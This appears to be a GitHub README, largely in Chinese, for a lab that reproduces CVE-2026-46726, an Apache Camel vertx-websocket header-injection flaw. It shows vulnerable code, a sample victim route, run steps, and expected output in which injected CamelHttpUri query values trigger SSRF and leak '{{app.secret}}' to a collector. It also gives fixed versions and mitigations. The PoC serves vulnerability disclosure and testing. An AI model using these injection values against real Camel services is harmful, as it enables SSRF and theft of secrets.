oscerd/CVE-2026-46726
GitHub: oscerd/CVE-2026-46726
该项目复现了 Apache Camel camel-vertx-websocket 组件因未过滤入站 header 而导致的 SSRF 和机密信息泄露漏洞(CVE-2026-46726)。
Stars: 0 | Forks: 0
# camel-vertx-websocket Header 注入复现项目 (CVE-2026-46726)
本项目演示了 Apache Camel 的 `camel-vertx-websocket` 组件中的一个**消息头注入**漏洞,
该漏洞被追踪为 **CVE-2026-46726**(严重程度为 **HIGH**)。Consumer 将入站的 WebSocket **查询参数和路径**
参数映射到了 Camel Exchange 的 header map 中,**却没有应用任何 `HeaderFilterStrategy`**
(`VertxWebsocketConsumer.populateExchangeHeaders()`)。由于没有任何机制阻止对 Camel header 命名空间的访问,连接到 WebSocket endpoint 的客户端只需将它们作为查询参数提供,就可以设置 Camel 内部的控制 header —— 包括 `CamelHttpUri`(`Exchange.HTTP_URI`)。
此 PoC 演示了两种影响:
1. **服务端请求伪造 (CWE-918)** — 注入的 `CamelHttpUri` 会将下游的 HTTP producer 重定向到攻击者选定的目标(例如仅限内部的 endpoint 或云元数据服务)。
2. **机密信息泄露 (CWE-200)** — HTTP producer 会对生成(受攻击者控制)的 URI 解析 Camel 的属性占位符,因此嵌入在注入值中的占位符 —— 例如 `{{app.secret}}`、环境变量或 vault 引用 —— 会被解析为其真实值并发送给攻击者。
安全通告:https://camel.apache.org/security/CVE-2026-46726.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-vertx-websocket` |
| **受影响类** | `org.apache.camel.component.vertx.websocket.VertxWebsocketConsumer#populateExchangeHeaders`(在入站的查询/路径参数上未应用 HeaderFilterStrategy) |
| **CWE** | CWE-20 → CWE-918 (SSRF) 和 CWE-200 (信息暴露) |
| **影响** | 通过 WebSocket 查询参数注入 `CamelHttpUri` → 从下游 HTTP producer 发起 SSRF + 通过占位符解析泄露环境变量/属性/vault 机密 |
| **前提条件** | WebSocket consumer 桥接到 HTTP producer;如果 WS endpoint 未经过身份验证,则无需验证 |
| **严重程度** | HIGH |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) |
| **致谢** | Kamalpreet Singh |
## 技术细节
```
// VertxWebsocketConsumer.populateExchangeHeaders (affected 4.18.2) — inbound params copied with no filter:
routingContext.queryParams()
.forEach((name, value) -> VertxWebsocketHelper.appendHeader(headers, name, value)); // CamelHttpUri passes
routingContext.pathParams()
.forEach((name, value) -> VertxWebsocketHelper.appendHeader(headers, name, value));
// HttpHelper.createURL (camel-http-common) — the header-supplied URI is used AND placeholder-resolved:
if (uri == null && !endpoint.isBridgeEndpoint()) {
uri = exchange.getIn().getHeader(Exchange.HTTP_URI, String.class); // = injected CamelHttpUri
}
uri = exchange.getContext().resolvePropertyPlaceholders(uri); // {{app.secret}} -> real value
```
## 受害路由
```
from("vertx-websocket:0.0.0.0:8090/feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
```
路由作者唯一预期的 HTTP 目标是 `/legit-backend`。因为 `bridgeEndpoint` 默认为 `false`,
入站的 `CamelHttpUri` header 会覆盖该目标 —— 而 WebSocket consumer 会直接从连接的查询字符串中复制它。
## 仓库结构
所有内容都在一个独立应用中运行:WebSocket consumer、下游的 HTTP sink endpoint 以及 WebSocket 客户端攻击者。
```
CVE-2026-46726/
├── pom.xml # camel-vertx-websocket + camel-http 4.18.2 (Netty pinned to 4.1.132, see note)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("vertx-websocket:0.0.0.0:8090/feed").to("http://.../legit-backend")
│ ├── SinkController.java # /legit-backend, /internal/secret, /collect (records what the producer hit)
│ └── ExploitController.java # attacker: WebSocket client injecting a CamelHttpUri query param
└── resources/
└── application.properties # holds the "secret" app.secret property
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(可选,用于容器化运行)
## 复现步骤
### 选项 A — Docker(推荐)
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 选项 B — 直接运行 jar 包
```
mvn clean package -DskipTests
java -jar target/cve-2026-46726-vertx-websocket-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```
### 预期输出
```
=== 1) Legitimate WebSocket message (no injected query param) ===
reached /legit-backend: true
reached /internal/secret: false
=== 2) Injected CamelHttpUri=http://localhost:8080/internal/secret (SSRF) ===
server-side request reached /internal/secret: true
=== 3) Injected CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}} (secret disclosure) ===
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> Header-injection proof — an unauthenticated WebSocket client drove the server-side HTTP
>>> request via a CamelHttpUri query param: SSRF=true, secret-disclosure=true
```
攻击者永远不会直接知道 `app.secret`;他们注入占位符 `{{app.secret}}`,然后 HTTP producer 会将其解析,并将真实值(`SUPER-SECRET-abc123`)发送给攻击者的收集器。
## 攻击向量
任何由 `vertx-websocket` consumer 提供数据,且其下游 producer 行为受 Camel header 控制的路由。可以通过 WebSocket URL 的查询/路径进行注入:`CamelHttpUri`(SSRF + 基于占位符的机密信息泄露)以及其他 Camel 控制 header。
## 推荐修复方案
升级至 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23532)。修复后,consumer 会应用 `VertxWebsocketHeaderFilterStrategy`,在入站映射时过滤掉 `Camel*` / `camel*` 命名空间。
## 缓解措施
在升级之前:在任何下游 producer 之前剥离 Camel 控制 header
(在路由开始处使用 `.removeHeaders("Camel*")` 和 `.removeHeaders("camel*")`),在 WebSocket endpoint 上要求身份验证,并避免将不受信任的 consumer 直接桥接到目标 URI 可以由消息 header 驱动的 HTTP producer。
## 免责声明
此复现项目仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, CISA项目, JS文件枚举, Maven, PoC, SSRF, WebSocket, 依赖分析, 域名枚举, 暴力破解, 漏洞复现, 漏洞验证, 请求拦截